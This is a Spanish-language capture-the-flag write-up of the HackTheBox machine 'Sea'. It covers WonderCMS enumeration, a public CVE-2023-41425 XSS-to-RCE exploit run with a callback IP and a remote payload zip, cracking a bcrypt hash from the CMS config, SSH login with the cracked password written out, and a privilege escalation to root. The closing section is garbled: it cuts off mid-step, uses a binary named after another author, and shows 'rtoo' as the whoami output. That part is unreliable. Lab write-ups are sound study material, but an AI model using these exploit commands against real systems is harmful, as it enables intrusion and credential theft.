write up Sea HTB
La máquina “Sea” de la plataforma HackTheBox presenta una vulnerabilidad que permite obtener acceso remoto a través de un servicio web en funcionamiento. Tras realizar un fuzzing de directorios, descubrimos que el servidor utiliza WonderCMS. A partir de ahí, identificamos una vulnerabilidad de tipo Cross-Site Scripting (XSS), catalogada como CVE-2023-41425, que posibilita la ejecución remota de código. Esto nos otorga acceso inicial al sistema.
Una vez dentro, encontramos un hash que conseguimos crackear, obteniendo así la contraseña de uno de los usuarios del sistema. Con esta nueva credencial, logramos pivotar a ese usuario y descubrimos un sitio web interno que reutilizaba las mismas credenciales. Este servicio web resultó ser vulnerable a una inyección de comandos, y dado que se ejecutaba con privilegios de root, conseguimos tomar control total de la máquina víctima. ko primero como siempre los escaneos de nmap
nmap -p- --open --min-rate 5000 -n -Pn -vvv 10.10.11.28 -oG allports
nmap -sVC -p80,22 10.10.11.28 -oN ports
si hacemos un whatweb vemos lo siguiente
no vemos mucho por lo que vamos a la web  & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://sea.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 199]
/0 (Status: 200) [Size: 3650]
/themes (Status: 301) [Size: 230] [--> http://sea.htb/themes/]
/index.php (Status: 200) [Size: 3650]
/contact.php (Status: 200) [Size: 2731]
/data (Status: 301) [Size: 228] [--> http://sea.htb/data/]
/home (Status: 200) [Size: 3650]
/plugins (Status: 301) [Size: 231] [--> http://sea.htb/plugins/]
/messages (Status: 301) [Size: 232] [--> http://sea.htb/messages/]
/404 (Status: 200) [Size: 3341]
/%20 (Status: 403) [Size: 199]
/%20.php (Status: 403) [Size: 199]
vemos unos directorios
y voy a ir al grano hay que hacer mucho fuzzing para encontrar este directoryo http://sea.htb/themes/bike/summary
al cual si le accemos un curl ![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241227190306.png]]
nos da esta frase que si la ponemos en google lo primero que aparece este github https://github.com/WonderCMS/wondercms-cdn-files/blob/4da022ae96d07e2d766beb9e0d6a8ed9514e3ee5/wcms-modules.json#L338
En resumen, es un gestor de contenidos como lo puede ser Ghost, WordPress, entre otros.
Buscando por exploits para este software y su versión, encontramos la vulnerabilidad catalogada como CVE-2023-41425 la cual permite RCE y ademas encuentro este github que nos lo da todo
https://github.com/insomnia-jacob/CVE-2023-41425
primero ejecutamos esto:
python3 exploit.py -u http://sea.htb/loginURL -i 10.10.14.181 -p 8080 -r http://10.10.14.181:9000/main.zip
![[Pasted image 20241227191241.png]]
ponemos un servidor python en el puesrto 9000 en el mismo directorio
sudo python3 -m http.server 9000
nos ponemos en escucha con netcat y devemos hacer lo siguiente
![](https://404zzero.github.io/zzero.github.io//assets/images/Sea/Pasted-image-20241227191425.png]]
el enlace que nos a dado el exploit pegarlo en el apartado de website
y somos www-data
Dado que somos el usuario www-data, deberíamos buscar por bases de datos en el sistema o archivos de configuración a los cuales este usuario tiene acceso. Eventualmente, encontramos un archivo database.js en la ruta /var/www/sea/data:
{
"config": {
"siteTitle": "Sea",
"theme": "bike",
"defaultPage": "home",
"login": "loginURL",
"forceLogout": false,
"forceHttps": false,
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
"2024\/11\/16 03:55:42": "127.0.0.1",
"2024\/11\/16 03:52:11": "127.0.0.1",
"2024\/11\/16 03:49:41": "127.0.0.1",
"2024\/11\/16 03:46:11": "127.0.0.1",
"2024\/11\/16 02:53:03": "127.0.0.1"
},
vemos un hash que podemos romper
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
![[Pasted image 20241227191817.png]]
si ahora grepeamos el etc/passwd
www-data@sea:/var/www/sea/data$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
amay:x:1000:1000:amay:/home/amay:/bin/bash
geo:x:1001:1001::/home/geo:/bin/bash
vemos un usuarioa llamado amay
de elcual es la contraseña
sshpass -p 'mychemicalromance' ssh -o stricthostkeychecking=no amay@10.10.11.28
:
 usando el binario junto con la flag -p:
amay@sea:~$ /tmp/gunzf0x -p
gunzf0x-5.0# whoami
rtoo